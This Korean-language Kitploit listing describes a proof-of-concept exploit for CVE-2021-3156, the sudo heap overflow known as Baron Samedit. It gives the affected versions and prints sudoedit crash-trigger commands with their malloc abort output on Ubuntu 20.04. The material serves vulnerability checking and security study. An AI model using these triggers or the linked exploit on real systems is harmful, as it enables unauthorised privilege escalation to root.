Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156 — CVE-2021-3156에 대한 개념 증명 익스플로잇으로, sudo의 힙 기반 버퍼 오버플로로 인해 sudoedit -s와 함께 조작된 명령줄 인수를 통해 로컬 권한 상승을 루트로 허용합니다. | Kitploit
도구/GitHubGitHub/shuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubshuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156

CVE-2021-3156에 대한 개념 증명 익스플로잇으로, sudo의 힙 기반 버퍼 오버플로로 인해 sudoedit -s와 함께 조작된 명령줄 인수를 통해 로컬 권한 상승을 루트로 허용합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
111년 전아직 검토되지 않음

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156


취약한 버전

Baron Samedit 취약점(CVE-2021-3156)은 sudo 레거시 버전 1.8.21.8.31p2와 안정 버전 1.9.01.9.5p1에 영향을 미칩니다. 이 힙 기반 버퍼 오버플로우 결함은 2011년 7월 커밋 8255ed69를 통해 도입되었으며, 거의 10년 동안 발견되지 않았습니다.

1.9.5p2 이전의 sudo에는 off-by-one 오류가 있으며, 이로 인해 힙 기반 버퍼 오버플로우가 발생할 수 있습니다. 이 취약점을 이용하면 "sudoedit -s"와 단일 백슬래시 문자로 끝나는 명령줄 인자를 통해 root로 권한 상승이 가능합니다.

python 명령으로 취약점 확인

root@kitploit:~
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
root@kitploit:~
malloc(): invalid size (unsorted)
Aborted

python 명령으로 취약점 확인

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
root@kitploit:~
malloc(): corrupted top size
Aborted (core dumped)

ubuntu 20.04에서의 사용법 및 결과

root@kitploit:~
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)

shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
도구 다운로드